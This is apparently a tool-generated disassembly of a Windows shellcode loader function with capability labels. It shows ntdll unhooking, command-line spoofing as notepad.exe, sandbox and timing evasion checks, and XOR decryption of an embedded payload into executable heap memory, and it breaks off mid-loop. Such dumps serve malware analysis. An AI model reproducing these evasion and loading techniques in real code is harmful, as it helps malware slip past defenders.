Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8e8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x850], xmm6
mov dword [rbp + 0x890], ecx
mov qword [rbp + 0x898], rdx
call fcn.140002cb0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c8], rax
mov ecx, 0x1810
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov ecx, 0x1810
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov ecx, 0x1810
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x84c], 0
jmp 0x1400015c6
mov dword [rbp + 0x848], 0
jmp 0x1400015b2
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x84c]
cdqe
imul rcx, rax, 0x134
mov rax, qword [rbp + 0x7c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x848]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x84c]
cdqe
imul rcx, rax, 0x134
mov rax, qword [rbp + 0x7b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x848]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x4c
jle 0x140001501
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x13
jle 0x1400014f2
mov dword [rbp + 0x84c], 0
jmp 0x14000167f
mov dword [rbp + 0x848], 0
jmp 0x14000166b
mov eax, dword [rbp + 0x84c]
cdqe
imul rdx, rax, 0x134
mov rax, qword [rbp + 0x7c0]
add rdx, rax
mov eax, dword [rbp + 0x848]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x84c]
cdqe
imul rdx, rax, 0x134
mov rax, qword [rbp + 0x7b8]
add rdx, rax
mov eax, dword [rbp + 0x848]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x84c]
cdqe
imul rdx, rax, 0x134
mov rax, qword [rbp + 0x7b0]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x848]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x4c
jle 0x1400015ee
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x13
jle 0x1400015e2
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x840], rax
cmp qword [rbp + 0x840], 0
jne 0x14000173d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x840], rax
mov dword [rbp + 0x834], 0
mov dword [rbp + 0x7a4], 0x1f5
mov dword [rbp + 0x7a0], 0xfa
mov eax, dword [rbp + 0x7a4]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x83c], 0
jmp 0x1400017ae
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rdx, rax
mov eax, dword [rbp + 0x83c]
mov dword [rdx], eax
add dword [rbp + 0x83c], 1
mov eax, dword [rbp + 0x83c]
cmp eax, dword [rbp + 0x7a0]
jl 0x140001785
mov dword [rbp + 0x83c], 1
jmp 0x140001840
mov eax, dword [rbp + 0x83c]
mov dword [rbp + 0x838], eax
jmp 0x140001817
mov edx, dword [rbp + 0x83c]
mov eax, dword [rbp + 0x838]
add edx, eax
mov eax, dword [rbp + 0x83c]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x838]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x838], 1
mov eax, dword [rbp + 0x7a0]
sub eax, dword [rbp + 0x83c]
mov edx, dword [rbp + 0x83c]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x838], eax
jle 0x1400017d6
add dword [rbp + 0x83c], 1
mov eax, dword [rbp + 0x83c]
cmp eax, dword [rbp + 0x7a0]
jl 0x1400017c8
cmp dword [rbp + 0x7a4], 2
jle 0x140001884
mov eax, dword [rbp + 0x834]
lea edx, [rax + 1]
mov dword [rbp + 0x834], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x83c], 1
jmp 0x1400018e8
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400018e1
mov eax, dword [rbp + 0x83c]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x834]
lea edx, [rax + 1]
mov dword [rbp + 0x834], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x83c], 1
mov eax, dword [rbp + 0x83c]
cmp eax, dword [rbp + 0x7a0]
jl 0x140001890
mov dword [rbp + 0x794], 2
mov dword [rbp + 0x830], 0
mov dword [rbp + 0x83c], 0
jmp 0x140001944
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000193d
add dword [rbp + 0x830], 1
add dword [rbp + 0x83c], 1
mov eax, dword [rbp + 0x83c]
cmp eax, dword [rbp + 0x794]
jl 0x140001916
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x840], 0
je 0x140001e2a
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x7a8]
mov r10, qword [rbp + 0x840]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x790], 1
mov ecx, 0xa00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov qword [rbp + 0x828], 2
jmp 0x1400019ee
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x27f
jbe 0x1400019c7
mov qword [rbp + 0x828], 2
jmp 0x140001a85
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001a7d
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x820], rax
jmp 0x140001a66
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x820], 1
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
cmp rax, 0x27f
jbe 0x140001a37
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x27f
jbe 0x140001a08
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x780], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x780]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov qword [rbp + 0x758], rax
mov word [rbp + 0x81e], 0
jmp 0x140001e12
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x758]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x81e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x750], rax
mov ecx, 0x1508
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0x1508
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x818], 0
jmp 0x140001c98
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x2a0
jle 0x140001c0e
mov dword [rbp + 0x818], 0
jmp 0x140001d06
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x740]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ca0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x2a0
jle 0x140001cb4
mov rax, qword [rbp + 0x750]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001e01
mov dword [rbp + 0x5b8], 0
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x768]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5b8]
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x81e]
add eax, 1
mov word [rbp + 0x81e], ax
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 6]
cmp word [rbp + 0x81e], ax
jb 0x140001ba1
mov dword [rbp + 0x5bc], 0
mov ecx, 0x1d10
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov ecx, 0x1d10
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x814], 0
jmp 0x140001eef
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x738]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x3a1
jle 0x140001e65
mov dword [rbp + 0x814], 0
jmp 0x140001f5d
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x814]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x730]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ca0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x3a1
jle 0x140001f0b
mov rax, qword [rbp + 0x7d0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x728]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x810], 0x30c
jmp 0x140001fd3
sub dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0
jg 0x140001fcc
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x720], rax
mov ecx, 0x56c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov ecx, 0x56c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x710], rax
mov dword [rbp + 0x808], 0x15a
mov dword [rbp + 0x80c], 0
jmp 0x1400020b6
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x718]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x710]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x808], 1
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x15a
jle 0x140002029
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x710]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x720]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x720]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x708], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x700]
mov r9d, 0x3000
mov r8d, 0x439
mov edx, 0
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
je 0x140002bd9
mov qword [rbp + 0x6f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f0]
mov r9d, 0x3000
mov r8d, 0x2b2
mov edx, 0
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
je 0x140002bd9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x14000226d
mov rax, qword [rbp + 0x6e8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov ecx, 0
call rax
mov dword [rbp + 0x804], eax
cmp dword [rbp + 0x804], 0xffffffff
je 0x140002bd9
mov qword [rbp + 0x7f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
je 0x140002307
mov rax, qword [rbp + 0x6d8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6d0]
mov r9d, 0x3000
mov r8d, 0x2a1
mov edx, 0
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x140002bd9
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x140002bd9
mov rax, qword [rbp + 0x6c8]
mov edx, 0x610
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6c4], eax
mov dword [rbp + 0x6c0], 0x288
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
call rax
mov dword [rbp + 0x6ac], eax
mov eax, dword [rbp + 0x6c0]
mov r8, qword [rbp + 0x6b8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6b0]
call rax
mov dword [rbp + 0x6a8], eax
mov eax, dword [rbp + 0x6a8]
sub eax, dword [rbp + 0x6ac]
cmp eax, 0x256
jbe 0x140002bd9
mov dword [rbp + 0x6a4], 0x238
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x694], eax
mov eax, dword [rbp + 0x6a4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x690], eax
mov eax, dword [rbp + 0x690]
sub eax, dword [rbp + 0x694]
cmp eax, 0x206
jbe 0x140002bd9
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
jne 0x140002bd9
mov dword [rbp + 0x684], 0x30a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x674], eax
mov eax, dword [rbp + 0x684]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x670], eax
mov eax, dword [rbp + 0x670]
sub eax, dword [rbp + 0x674]
cmp eax, 0x2d8
jbe 0x140002bd9
mov qword [rbp + 0x668], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4b2f680
mov ecx, 0
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0
je 0x140002bd9
mov rax, qword [rbp + 0x668]
mov edx, 0x4b2f680
mov rcx, rax
call fcn.140004b50
mov rax, qword [rbp + 0x668]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, [rbp + 0x90]
lea rdx, [0x140006128]
mov ecx, 0xa4
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7c8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7c8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x658]
mov r8d, 0
mov edx, 0x522
mov ecx, 0x40000
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x650]
mov r8d, 0x522
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0x522
mov rcx, rax
call r9
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x7f0], 0
mov dword [rbp + 0x7ec], 0
movabs rax, 0x5607809d67ee26aa
movabs rdx, 0xff40818a6980af0c
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xe06e3e12a7f1dff3
movabs rdx, 0xb2dd4e513c86933b
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xeb6d335ddb88448
movabs rdx, 0xdbf7e6406a2036d7
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x1df69f8d919ebad9
movabs rdx, 0x7e966bcbb4370823
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xf417d1c58357ee18
movabs rdx, 0x4afb74f722907cd2
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x9e0386fb0a58202c
movabs rdx, 0x9abf7bb2d3a5698
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x2609abf7bb2d3a56
movabs rdx, 0xf9521c798ee062
mov qword [rbp + 0x79], rax
mov qword [rbp + 0x81], rdx
movabs rax, 0x69b963126164c412
movabs rdx, 0xdf33f6ceffedb63
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x2b6463dfb3ace9a7
movabs rdx, 0x5774c2153b747288
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xf47b5919bd5774
mov qword [rbp + 0xe], rax
jmp 0x14000286d
mov eax, dword [rbp + 0x7f4]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x7f0]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x7f4]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x7f0], 0x67
jne 0x14000285f
mov dword [rbp + 0x7f0], 0
jmp 0x140002866
add dword [rbp + 0x7f0], 1
add dword [rbp + 0x7f4], 1
mov eax, dword [rbp + 0x7f4]
cmp eax, 0x24
jbe 0x140002822
mov dword [rbp + 0x7f4], 0
jmp 0x140002b13
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7ec]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7ec], 0x24
jne 0x140002aa8
mov dword [rbp + 0x7ec], 0
mov ecx, 0x94c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov dword [rbp + 0x7e8], 0
jmp 0x140002983
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x7e8]
cdqe
